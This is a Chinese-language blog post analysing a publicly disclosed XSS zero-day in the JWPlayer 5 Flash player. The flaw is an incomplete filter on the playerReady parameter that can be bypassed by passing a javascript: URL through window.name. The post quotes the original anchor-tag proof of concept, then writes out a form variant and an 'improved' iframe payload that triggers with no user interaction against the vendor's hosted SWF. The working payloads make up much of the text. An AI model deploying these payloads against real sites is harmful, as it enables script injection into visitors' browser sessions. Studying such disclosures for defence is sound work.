JWPlayer 5最新SWF XSS 0day分析及POC改進
4月16號,國外公布了jwplayer一個未修復的XSS 0day。jwplayer是全球范圍內目前應用最廣泛的flash播放組件,特別是國外眾多在線愛情動作片網站。此前jwplayer曾爆出過一個XSS漏洞,影響非常廣泛。
根據(jù)老外的描述,這次的問題主要是因為之前一個XSS漏洞沒有修復完全,導致bypass再利用。原始的問題是playerReady參數(shù)值未做過濾直接進入ExternalInterface.call導致可以執(zhí)行任意JS代碼。在經過官方的兩次小版本補丁后,這個問題最終的修復方案是禁止playerReady參數(shù)值中存在{}和()符號。而這種簡單的修復是可以被繞過的。
原文給出的POC:
<h2>Example 1:</h2>
<p>This example simply uses javascript:alert(1) as the value in window.name</p>
<p><a target="javascript:alert(1)" href="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">Click Me</a></p>
這里用到了兩個特性,一個是a標簽target的framename,一個是window.name的跨域傳遞的特性。在a等其他可以使用的target屬性的標簽中我們常用的是_blank,_parent,_self,_top四個值,而framename我們很少用到。framename相當于指定一個窗口的名稱并將文檔重定向到該窗口中進行處理,因此framename就相當于window.name。
這個POC就在a標簽中用javascript:alert(1)偽協(xié)議作為了framename,漏洞URL指定location為window.name也就觸發(fā)了url。我們同樣可以用form等其他支持target屬性的標簽來構造poc:
<form action="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b" method="post" target="javascript:alert(1)">
<button type="submit">登錄</button>
</form>
但這種POC是需要交互的,就比較雞肋了,其實我們可以改進成不需要用戶交互的形式。既然framename是窗口的名稱,那我們可以直接使用iframe并指定name為javascript:alert(1)。
<iframe name="javascript:alert(document.domain)"
src="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">
</iframe>
這樣我們的POC就可以自動觸發(fā)了。